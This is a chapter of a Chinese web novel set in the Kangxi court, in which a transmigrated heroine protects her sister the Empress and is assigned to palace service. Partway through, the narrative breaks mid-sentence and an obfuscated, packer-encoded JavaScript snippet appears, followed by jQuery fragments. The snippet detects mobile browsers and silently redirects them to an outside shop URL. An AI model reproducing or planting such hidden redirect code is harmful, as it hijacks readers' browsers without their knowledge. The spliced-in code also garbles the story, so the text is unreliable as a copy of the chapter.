皇后自知失言,跪在床上请罪,一言不发。
顾蕴莹看出来了,虽然便宜二姐看似温柔似水,可又是中宫笺表,又是隐瞒身孕的,活生生一个披着羊皮的大犟种啊!
也是,如果皇后不是骨子里带着骄傲和倔强,明明是妃位待遇,钮国公府也没降爵,不会近十年在宫里都是个透明人。
指望皇后缓和气氛,不如指望天上下红雨。
这种闹不好就要糟的关键时刻,顾蕴莹当然不会说废话。
她眼泪落得凶,却丝毫不耽误口齿清晰——
“夏紫为伺候主子,多年未见其母,其实她早知林嬷嬷老迈昏聩,早晚会被发落,前路堪忧。”
“一边是生育抚养她的母亲,一边是信赖提拔她的主子,忠孝两难全,她心中实在煎熬挣扎,才会失了分寸,情有可原啊皇上!”
坤宁宫宫人眼神迷茫,夏紫自打成了皇后身边的大宫女之一,被主子信重,下巴都快抬到天上去了,他们咋没看出来夏紫煎熬?
倒是梁九功聪明,稍一寻思,差点给顾蕴莹跪了,这钮国公府的三格格怎么什么都敢说哟!
他都能听出顾蕴莹这是以夏紫代指皇后,康熙自然听出得更快。
康熙面无表情,丹凤眸中氤氲起的怒气却叫人更加胆寒。
“钮祜禄莹莹,你好大的胆子!”
顾蕴莹:“……”你胆子不大,但你是不是有点冒昧?
咱俩啥关系啊你就叫莹莹!
不过转瞬她就明白,这位大佬不会知道小虾米的名字,估计是刚才听墙角才知道她的小名儿。
顾蕴莹不慌,此举是冒险了些,但只要康熙不傻,能立马缓和帝后之间的关系……起码在外人看来是缓和了。
如此,等皇后的身孕瞒不住,保命的概率也会大大增加。
提出问题,解决问题,她专业的。
眼看皇后张嘴似要替她请罪,顾蕴莹把脑袋贴在地上的手背上,抢先道:
“世人皆知皇上英明神武,可总有宵小之辈妄图祸乱朝纲!”
话就是说,虽然大清看起来是你的一言堂,可外头还打仗呢,多少人等着把柄败坏你名声啊亲!
“臣女斗胆,恳请皇上同意夏紫出宫,奉养林嬷嬷去庄子上养老,也算全了她的孝心!”
危机公关黄金时间虽已错过,可危机公关也不能不做啊亲!
“叫人知道皇上连皇后身边的宫女都能成全,必会传颂帝后情深的佳话,深刻理解皇上以孝治国的初衷,以皇上和皇后为表率!”
面子功夫会做吧亲?政治敏锐度你有吧亲?买醋送饺子啦亲!
梁九功彻底服气了,无声无息滑跪在一侧,与所有宫人一起压低脑袋,恨不能爹妈少给自己生一双耳朵。
康熙确实不蠢,听出顾蕴莹话里的深意,立时想到外面的战事和京中屡禁不止的谣言。
虽然他很想砍了这个胆大包天的丫头,可以小搏大,一举数得的梯子,他很清楚该不该接。
“这也是皇后的意思?”康熙突然笑了,一如倒春寒之后的春风拂面,殿内瞬间破冰。
皇后心里紧张得快要晕过去,与此同时,她近十年来积攒的怨、恨也被恐惧催生到了极点。
她在床上叩头下去,不卑不亢:“莹莹所言,字字句句为臣妾肺腑所想,只是臣妾愚笨,不敢提起,请皇上责罚!”
康熙在朝堂上什么没见过,自然听出了皇后的怨,心下只有嘲讽。
若不想入宫,当初她就不该叫鳌拜和遏必隆再送进来,来了却又怨恨主子,这就是钮祜禄氏的忠心?呵……
他轻轻转动着手上的扳指,又看向规规矩矩缩着脖儿跪在一旁的顾蕴莹,杀意倒是消下去了。
这脑袋瓜子估计是钮祜禄家唯一一个清明的,还是留着吧。
“那朕就成全皇后——”康熙又慢条斯理坐回软榻,但在皇后和顾蕴莹心下放松的当头,却话音一转。
“只是皇后自困自身许久,身子骨不算康健,身边不能少了人伺候,再叫内务府拨生手过来怕是伺候不好皇后,朕是要心疼的。”
皇后和顾蕴莹无语凝噎,姐妹俩心有灵犀,同时腹诽,这话谁信谁脑子进浆糊了。
康熙不在意她们信不信,作为皇帝他永远不会任人牵着鼻子走。
“既钮国公府三格格对皇后如此了解,就叫这丫头暂替夏紫,在皇后身边伺候吧!”
皇后猛地抬起头,露出苍白惊慌的面容,“皇——”
顾蕴莹连头都没抬,就迅速叩首,大声打断皇后的话——
“臣女叩谢皇上恩典,皇上宽厚仁和,实在是万民之福!”大概就是这福气让带清亡了的。
“臣女今日就回府收拾一二,尽快入宫伺候皇后,多谢皇上成全!”咋也算个国家单位临时工,不磕碜。
康熙懒得问皇后想说什么,只似笑非笑扔下一句话,起身往外走。
“既然三格格懂事,梁九功,你安排人送三格格和夏紫回钮国公府!”
就算接了顾蕴莹的梯子,康熙也不打算悄无声息地继续膈应自己,帝后不和的传言也该散了!
梁九功最明白主子爷的心思,赶忙应声,凑到李德全耳边叮嘱了几句,才紧着追上康熙的脚步。
等人都离开,皇后才瘫软在床上,顾不上李德全还在,迭声吩咐春绿——
“快,快把三格格扶起来!”
春绿一伸手,顾蕴莹捂着嘴,差点嗷一嗓子哭出声,她膝盖跟针扎一样,不会真碎了吧?
拿穿越跟从深市换到燕京上班比是她脑子进水了,封建社会就该早点亡!
皇后心疼得眼泪都落来了,赶忙叫秋红去取药油。
“再端盆热水进来,给三格格敷一敷腿。”
李德全有些为难:“皇后娘娘,万岁爷吩咐,叫奴才送三格格和夏紫出宫……”
皇后表情一变,眼神倏然转冷,眼看着难听的话就要出口,顾蕴莹都要给她再磕一个了。
身上的跳蚤还没摘干净,命都悬着,这位姐到底在倔强什么?
“李谙达是吧?这银子您拿去先喝杯热茶暖暖身子。”顾蕴莹再次抢话,取出一个荷包示意春绿递过去,哭得乱七八糟的小脸儿上努力扬起温和的笑。
“我刚才跪得狠了,又被皇上龙威震慑,这么出去怕是要叫人误会,你容我稍稍收拾一下,我保证不会耽误事儿。”
李德全也不敢真为难钮国公府的格格,见皇后表情不善,顺势收起荷包,干笑着出去了。
顾蕴莹继续吩咐:“秋红你去叫夏紫起来,替她也处理一下膝盖,带她去收拾好自己的东西等着,别叫她乱说话。”
她习惯做人做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484542|201927||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事留一线,既然夏紫回收再利用的可能性不大,她也不会刻意折腾人,否则人在庄子上还指不定会捅什么娄子。
“春绿,我想喝二姐吩咐人熬的梨汤,你带人再去给二姐熬些安神汤,等用完午膳也能让二姐好好歇个晌儿。”
皇后听出妹妹这是打发人出去,有话要说,示意春绿和秋红听吩咐。
等人都出去后,顾蕴莹也顾不上规矩,拉着皇后一起躺下,咬牙翻身,轻轻抱住皇后。
“二姐,现在没外人,我想跟你说几句不中听的实在话。”
皇后:“……”你以为自己刚才的话很中听?
她心都要被妹妹吓得从心窝子里蹦出来了,想劝妹妹以后不能如此鲁莽,却叫顾蕴莹几近耳语的话说得浑身一震——
“二姐想为阿玛请建家庙不是错,可方法有很多,你先斩后奏,隐瞒身孕,除了糟蹋自己的身体,成全前朝后宫那些有心算计的人,也让钮国公府四分五裂,再无好处。”
“你,你怎么知道……”皇后瞠目不已。
她月事因为这些年的磋磨向来不准,若不是身体有反应,她自己学了些粗略的诊脉功夫,也不会知道自己怀了身孕。
这事儿她谁都没说过,这孩子……她不想要!
顾蕴莹清楚皇后现在像一把弦绷到极致的弓,虽然话意很重,却是不疾不徐像轻风一样缓缓送进皇后耳中。
“我知道二姐你不是昏了头,也不是蠢人,可跟皇上较劲那是鸡蛋碰石头,你改变不了发生过的事和这世道的规矩,也没办法要求别人给你公平。”
她仰头望着眼眶通红的皇后:“但二姐可以利用规矩,把本该得到的,被别人拿走的东西攥回自己手里,自己给自己公平。”
“我此次进宫,就是想帮二姐、额娘、大哥他们……还有我自己,我们一起挣一个公平,如何?”
至于皇后为什么要选择用犟种的方式,把一手刚好起来的牌打烂……顾蕴莹已经不想问了。
只不过是成长过程中那些无法消化的情绪,因为环境和周围的人反复提及发酵放大。
过程不重要,谁还没吃过苦咋地,只要结果和利益符合预期就够了。
皇后听得喉咙哽咽不能语。
她十一岁入宫与赫舍里氏一起选后,结果赫舍里氏被封后,她被送回钮国公府,被人嘲笑了好几年。
因为义父和阿玛跟皇上的博弈,她十五岁再次被送入宫,始终不得太皇太后、皇太后和皇上待见,连受宠的贵人都敢踩她一脚。
谁也没问过她愿不愿,她的尊严、她的骄傲谁也不在乎,数不清的委屈和煎熬,到了最后已不知该如何安置。
直至封后……几乎死过一次的洞房夜,叫她终于找到了明知是死路却控制不住的安放之所。
面对顾蕴莹带着心疼和理解的温柔眼神,皇后什么都说不出来了,只怨恨和悔意在体内汹涌纠缠,和着眼泪从眼角滴滴落下。
好一会儿,她才嗓音沙哑地应下:“好……我们自己挣!”
顾蕴莹提着的心总算落回肚子里,这一天真特么漫长。
好在解开关键谜题,即将顺利任职,顾蕴莹还是露出灿烂的笑,用力握住皇后的手。
“那二姐可要准备好,等我入宫嗷~”
刚刚重新踏入昭仁殿的康熙,突然重重打了个喷嚏。